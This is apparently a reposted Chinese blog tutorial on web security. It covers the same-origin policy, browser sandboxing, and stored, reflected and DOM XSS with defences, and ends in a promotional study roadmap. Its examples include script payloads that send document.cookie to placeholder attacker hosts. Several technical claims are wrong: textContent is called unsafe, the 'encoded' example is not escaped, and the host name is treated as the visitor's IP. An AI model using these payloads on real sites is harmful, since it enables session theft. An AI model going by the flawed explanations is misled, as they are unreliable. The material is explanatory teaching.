前言
自编写python渗透工具编写学习笔记专栏以来,笔者便发现了一个较为严重的问题:我们大多数文章都是学习如何用python编写扫描与使用毛病的渗透工具,却没有真正解析毛病的形成原因,长此以往我们的学习就只会浮于外貌,广而不深。为了改变这一现状,笔者决定以深入学习毛病为主,编写毛病渗透工具为辅(固然不意味着两专栏更新频率不均),新开了web渗透安全学习笔记专栏。那么,就让我们开始今天的学习吧!
坚持科技向善,勿超过法律界限,代码仅供讲授目的。初出茅庐,如有错误望各位不吝赐教。
点此前去python渗透工具编写学习笔记专栏:python渗透工具编写学习笔记
1.1 web的组成
Web的组成重要包罗以下几个要素:
网络底子设施: 包罗各种网络装备,如服务器、路由器、互换机等,用于连接和传输数据。
互联网协议(Internet Protocol, IP) :是互联网数据传输的根本协议,负责将数据分割成数据包并传输给指定的目标所在。
域名系统(Domain Name System, DNS): 用于将易于记忆的域名转换为对应的IP所在,方便用户访问网站。
HTTP协议(HyperText Transfer Protocol):
是Web中用于传输超文本(如HTML、CSS、JS等)的协议,它定义了客户端和服务器之间的通讯规则。
CSP(Web Content Security Policy):
是一种基于HTTP头部的安全策略,用于保护网站免受恶意代码的攻击。它允许网站管理员定义哪些外部资源可以被加载,并限定内联脚本、内联样式和其他不安全的操作。
万维网(World Wide Web):是一个基于HTTP协议的信息系统,包罗了各种网页、网站和资源。
编写web的语言重要是一下三种:
- HTML(HyperText Markup Language):是用于创建Web页面的标记语言,是Web的底子。
- CSS(Cascading Style Sheets):是用于控制网页样式的语言,可以定义网页的布局、字体、颜色等表面。
- JavaScript:是一种用于增强网页交互性的脚本语言,可以操作网页元素、响应用户操作等。
C/S架构(Client/Server):
是指客户端和服务器之间的架构模式。在C/S架构中,客户端负责处置处罚用户界面和用户交互,而服务器负责处置处罚数据存储和业务逻辑。客户端通过网络连接到服务器,发送请求并接收响应。这种架构模式通常用于必要高性能和复杂业务逻辑的应用步伐,比方在线游戏和大型企业应用。
B/S架构(Browser/Server Architecture):
是指浏览器和服务器之间的架构模式。在B/S架构中,浏览器作为客户端,负责处置处罚用户界面和用户交互,而服务器负责处置处罚数据存储和业务逻辑。用户通过浏览器访问网页,浏览器发送请求到服务器并接收响应。这种架构模式通常用于Web应用步伐,比方网上购物和交际媒体
1.2 同源策略
同源策略是一种Web浏览器安全机制,它的目的是防止恶意网站通过脚本等方式访问用户的敏感信息或者执行恶意操作。
同源策略允许同一个域名下的不同网页、文件或数据之间举行相互交互。 要透彻的学习同源策略,我们先来学习源是什么:
源(origin):
是一个由协议(如HTTP、HTTPS)、域名和端标语组成的标识。源被用于确定一个文档或脚本来自哪个源,以及允许哪些源访问特定资源的规则。同源策略通过限定不同源之间的交互来增长Web应用步伐的安全性,防止恶意代码对不同源的资源举行访问和操作。
Web 内容的 源 由用于访问它的 [URL](https://developer.mozilla.org/zh-
CN/docs/Glossary/URL “URL”) 的 方案 (协议)、 主机名 (域名)和 端口
定义。只有当协议、主机和端口都匹配时,两个对象才具有相同的源。示比方下:
服务器默认从 80 端口传送 HTTP 内容,以是以下两个所在同源:
- http://Eleven.com:80
- http://eleven.com
协议不同,以下两个所在不属于同源:
- http://eleven.com/sp1
- https://eleven.com/sp2
主机名不同,以下几个所在不属于同源:
- http://eleven.com
- http://www.eleven.com
- http://myapp.eleven.com
端口不同,以下几个所在不属于同源:
- http://eleven.com
- http://eleven.com:70
比方,当你在一个网页中使用JavaScript代码发送AJAX请求时,同源策略会阻止该请求访问不同域的资源。这意味着,假如你的网页代码来自于一个域名,那么它只能与来自同一域名的资源举行交互,而不能与其他域名的资源举行交互。
域: 是指在计算机网络中,一组具有相同属性的计算机或装备的集合。域可以根据网络规模的不同,分为局域网(LAN)、城域网(MAN)和广域网(WAN)。
域名:
是指通过域名系统(DNS)来举行解析的由一串字符组成的名称,用于标识并定位互联网上的计算机、服务或资源。域名一般由多少部分组成,如www.example.com,其中www为子域名,example为二级域名,com为顶级域名。域名可以转化为对应的IP所在,从而实现网络上的通讯与访问。
资源: 可以包罗文字、图片、视频、音频文件等等。
1.3 浏览器沙箱
浏览器沙箱是一种安全机制,用于隔离浏览器中运行的不可信任代码(比方JavaScript代码)与操作系统和主机系统的其他部分。它创建了一个受控的情况,在其中运行代码,以确保代码无法直接访问或修改操作系统或主机系统中的敏感资源。
浏览器沙箱通过限定不可信任代码的权限和访问范围来保护用户的装备和数据安全。它通常使用以下技能和措施来实现:
- 历程隔离:浏览器将不同的标签页或网站运行在不同的历程中,以确保它们之间的代码和数据互相隔离。如许一来,一个恶意的网站或插件无法直接访问或修改其他网站或标签页中的数据。
- 沙盒情况:浏览器为每个标签页或网站创建一个沙盒情况,在其中运行不可信任的代码。沙盒情况限定了代码的权限,比方禁止访问文件系统、网络以及操作系统级的功能。
- 内存保护:浏览器使用内存保护技能来防止代码通过缓冲区溢出等毛病来攻击系统。这些技能包罗所在空间布局随机化(ASLR)和数据执行保护(DEP)。
- 权限管理:浏览器沙箱使用权限管理机制,允许用户控制哪些资源可以被访问。比方,浏览器会提示用户是否允许某个网站获取地理位置或访问摄像头。
1.4 初识XXS毛病
XXS毛病(Cross-Site Scripting
vulnerability)允许攻击者在网页上注入恶意脚本代码,从而获取用户的敏感信息或者对用户举行恶意操作。
XXS毛病重要出现在Web应用步伐中,它可以使用用户提交的数据或者其他不可信来源的数据来构造攻击代码。当用户访问包含恶意脚本的受感染网页时,恶意脚本将在用户的浏览器中执行,从而导致信息泄露或者其他安全问题。接下来,我们将逐一讲解三种范例的XXS毛病。
1.4.1 存储型 XSS
攻击者将恶意脚本代码存储在目标网站的数据库中,当其他用户访问页面时,恶意代码会从服务器返回,并在用户的浏览器中执行。这种范例的毛病常见于留言板、评论区等用户可以输入内容的地方。
以下是一个存储型xxs的示例:
假设我们有一个简单的留言板应用步伐,允许用户发布留言并将其显示在网页上。用户可以输入留言的内容,并将其保存到数据库中。然后,应用步伐从数据库中检索留言并在网页上显示。
现在,假设攻击者输入以下内容作为留言:
- <script>
- alert("恶意脚本!");
- </script>
复制代码 当这个留言被保存到数据库并在网页上显示时,用户将看到一个弹出框显示"恶意脚本!",这就是存储型xxs的攻击。
为了防止存储型xxs攻击,我们可以在用户输入时举行输入验证和过滤,确保只允许正当的内容进入数据库。可以使用一些特殊字符过滤和编码技能,如HTML编码或JavaScript转义,以确保用户输入的内容不会被解释为脚本。
在这个示例中,我们可以使用HTML编码来处置处罚用户输入。如许,攻击者输入的恶意脚本将被转义为HTML实体,而不会被浏览器解释为脚本:
- <script>
- alert("恶意脚本!");
- </script>
复制代码 如许,当留言被显示在网页上时,用户将只看到原始的恶意脚本代码,而不会执行。
1.4.2 反射型 XSS
攻击者通过诱使用户点击恶意链接或提交恶意表单等方式,将恶意代码注入到目标网站的URL参数中。而服务器在返回响应时,将恶意代码反射回用户的浏览器,并在浏览器中执行。这种范例的毛病常见于搜索框、URL参数等用户可以输入内容的地方。
下面是一个简单的反射型XXS的示例:
假设我们有一个简单的登录页面,用户输入用户名和密码后提交表单,然后服务器将用户名展示在欢迎信息中。
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8">
- <title>Login Page</title>
- </head>
- <body>
- <h1>Login Page</h1>
- <form action="/login" method="post">
- <label for="username">Username:</label>
- <input type="text" id="username" name="username" required><br><br>
- <label for="password">Password:</label>
- <input type="password" id="password" name="password" required><br><br>
- <input type="submit" value="Login">
- </form>
- <h2>Welcome, <?php echo $_POST['username']; ?>!</h2>
- </body>
- </html>
复制代码 在上述代码中,我们使用了PHP来获取用户输入的用户名,并将其展示在欢迎信息中。但是,这段代码存在反射型XXS毛病。假如攻击者在用户名中注入恶意脚本,那么该恶意脚本将被执行。
比方,攻击者可以构造一个恶意的用户名如下:
- <script>alert('XSS Attack!');</script>
复制代码 当用户提交表单后,恶意脚本将在欢迎信息中执行,弹出一个警告框,从而攻击用户。
1.4.3 DOM型 XSS
DOM-based
XSS毛病是一种特殊的XSS毛病,攻击者通过修改目标网页的DOM(文档对象模子)结构,使恶意脚本在用户的浏览器中执行。这种范例的毛病通常发生在JavaScript代码中,攻击者能够控制DOM元素的内容或属性,从而影响网页举动。
以下是一个简单的DOM型XSS示例:
- <!DOCTYPE html>
- <html>
- <head>
- <script>
- function xssAttack() {
- var userInput = document.getElementById("input").value;
- var output = document.getElementById("output");
- output.innerHTML = userInput; // 将用户输入的内容直接插入到页面中
- }
- </script>
- </head>
- <body>
- <h1>DOM型XSS示例</h1>
- <input type="text" id="input">
- <button onclick="xssAttack()">提交</button>
- <div id="output"></div>
- </body>
- </html>
复制代码 在这个示例中,用户可以在输入框中输入恣意内容,并点击提交按钮。然后,用户输入的内容会被直接插入到页面中的元素中,没有举行任何过滤或转义处置处罚。这就给了攻击者的机会,假如攻击者输入恶意脚本代码,它将被执行,从而导致XSS攻击。
1.5 XXS实例
下面我们来看几个使用XXS毛病的实例:
1、使用DOM XSS毛病举行长期性攻击和挟制用户会话:
假设有一个简单的留言板应用步伐,用户可以在留言板上发布消息。应用步伐将用户输入的消息直接插入到DOM中,而没有举行任何过滤或转义。
- <!DOCTYPE html>
- <html>
- <head>
- <title>留言板</title>
- </head>
- <body>
- <h1>留言板</h1>
- <div id="messages"></div>
- <form id="messageForm">
- <input type="text" id="messageInput">
- <button type="submit">发布</button>
- </form>
- <script>
- // 获取留言板表单和消息容器
- var messageForm = document.getElementById('messageForm');
- var messagesContainer = document.getElementById('messages');
- // 监听表单提交事件
- messageForm.addEventListener('submit', function(event) {
- event.preventDefault(); // 阻止表单默认提交行为
- // 获取用户输入的消息
- var message = document.getElementById('messageInput').value;
- // 创建新的消息元素
- var newMessage = document.createElement('p');
- newMessage.textContent = message;
- // 将新的消息元素插入到消息容器中
- messagesContainer.appendChild(newMessage);
- // 清空输入框
- document.getElementById('messageInput').value = '';
- });
- </script>
- </body>
- </html>
复制代码 在上述示例中,用户输入的消息直接通过textContent属性插入到DOM中。这就存在一个安全毛病,假如用户输入的消息包含恶意脚本,那么这些脚本将会被执行。比方,假如用户输入以下内容作为消息:
- <script>
- // 恶意脚本,用于劫持用户会话或窃取用户敏感信息
- fetch('http://attacker.com/steal?cookie=' + document.cookie);
- </script>
复制代码 那么这段恶意脚本将会被执行,从而导致用户会话被挟制或者敏感信息被窃取。
2、窃取cookie:
- <!DOCTYPE html>
- <html>
- <head>
- <title>XSS漏洞示例</title>
- </head>
- <body>
- <h1>欢迎访问我的网站!</h1>
- <script>
- // 恶意脚本,用于窃取cookie
- var maliciousScript = document.createElement('img');
- maliciousScript.src = 'http://攻击者的恶意网站.com/steal.php?cookie=' + document.cookie;
- document.body.appendChild(maliciousScript);
- </script>
- </body>
- </html>
复制代码 在上述示例中,攻击者通过创建一个元素,并将其属性设置为攻击者的恶意网站所在,同时将受害者的cookie作为参数传递给恶意网站。当受害者访问包含该恶意脚本的网页时,浏览器会自动加载该图片,并将受害者的cookie发送给攻击者的恶意网站。
3、获取访问者IP:
- <!DOCTYPE html>
- <html>
- <head>
- <title>XSS漏洞示例</title>
- </head>
- <body>
- <h1>欢迎访问我的网站!</h1>
- <script>
- // 恶意脚本代码
- var img = new Image();
- img.src = 'http://攻击者的服务器地址/collect.php?ip=' + document.location.host;
- document.body.appendChild(img);
- </script>
- </body>
- </html>
复制代码 在上述示例中,攻击者通过创建一个元素,并将其属性设置为攻击者的服务器所在,同时将访问者的IP所在作为参数传递给服务器。当受害者访问包含恶意代码的网页时,浏览器会发送一个请求到攻击者的服务器,从而泄露了访问者的IP所在。
1.6 XXS的防治
末了我们来相识一下,为了防止XXS攻击,我们有什么常见的防治措施:
- 输入验证:在接收用户输入的地方举行输入验证,确保用户输入的数据符合预期的格式和内容。特别是对于用户输入的字符和脚本代码举行过滤,制止执行恶意代码。
- 输出编码:在将用户输入的数据输出到网页上时,对特殊字符举行编码,以防止浏览器将其解析为脚本代码。常见的编码方式包罗HTML实体编码和URL编码。
- HttpOnly Cookie:将敏感信息存储在HttpOnly Cookie中,如许浏览器无法通过脚本代码访问该Cookie,减少XXS攻击的风险。
- CSP(Content Security Policy):通过设置CSP,限定网页中可以执行的脚本代码的来源,阻止外部恶意脚本的执行。
那么到这里就是今天的全部内容了。如有帮助,不胜荣幸。
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习路线&学习资源
网络安全的知识多而杂,怎么科学合理安排?
下面给各人总结了一套适用于网安零底子的学习路线,应届生和转行职员都适用,学完保底6k!就算你底子差,假如能趁着网安精良的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不大概!
初级网工
1、网络安全理论知识(2天)
①相识行业相干背景,前景,确定发展方向。
②学习网络安全相干法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试底子(一周)
①渗透测试的流程、分类、尺度
②信息收集技能:主动/被动信息搜集、Nmap工具、Google Hacking
③毛病扫描、毛病使用、原理,使用方法、工具(MSF)、绕过IDS和反病毒侦探
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统底子(一周)
①Windows系统常见功能和下令
②Kali Linux系统常见功能和下令
③操作系统安全(系统入侵排查/系统加固底子)
4、计算机网络底子(一周)
①计算机网络底子、协议和架构
②网络通讯原理、OSI模子、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技能与网络安全防御技能
⑤Web毛病原理与防御:主动/被动攻击、DDOS攻击、CVE毛病复现
5、数据库底子操作(2天)
①数据库底子
②SQL语言底子
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web毛病扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,假如学到这里,你根本可以从事一份网络安全相干的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;假如等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全范畴。是否具备编程本事是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络情况,当常用工具不能满足实际需求的时候,往往必要对现有工具举行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就必要具备一定的编程本事。在分秒必争的CTF比赛中,想要高效地使用自制的脚本工具来实现各种目的,更是必要拥有编程本事.
零底子入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库举行编程学习; 搭建开辟情况和选择IDE,PHP情况保举Wamp和XAMPP, IDE强烈保举Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,保举《Python核心编程》,不要看完; ·用Python编写毛病的exp,然后写一个简单的网络爬虫; ·PHP根本语法学习并誊写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·相识Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零底子的同学来说还比力迢遥,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,各人也可以一起学习交流一下。
一些我本身买的、其他平台白嫖不到的视频教程:
必要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),各人也可以一起学习交流一下。
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家底子扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正直,我国的人才更多的属于歪路左道(很多白帽子大概会不服气),因此在未来的人才造就和建设上,必要调解结构,鼓励更多的人去做“正向”的、团结“业务”与“数据”、“自动化”的“体系、建设”,才气解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技能分享!本书的目的决不是为那些怀有不良动机的人提供及技能支持!也不负担因为技能被滥用所产生的连带责任!本书的目的在于最大限度地唤醒各人对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!
本文转自 https://blog.csdn.net/2401_84215240/article/details/143663490?spm=1001.2014.3001.5501,如有侵权,请接洽删除。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |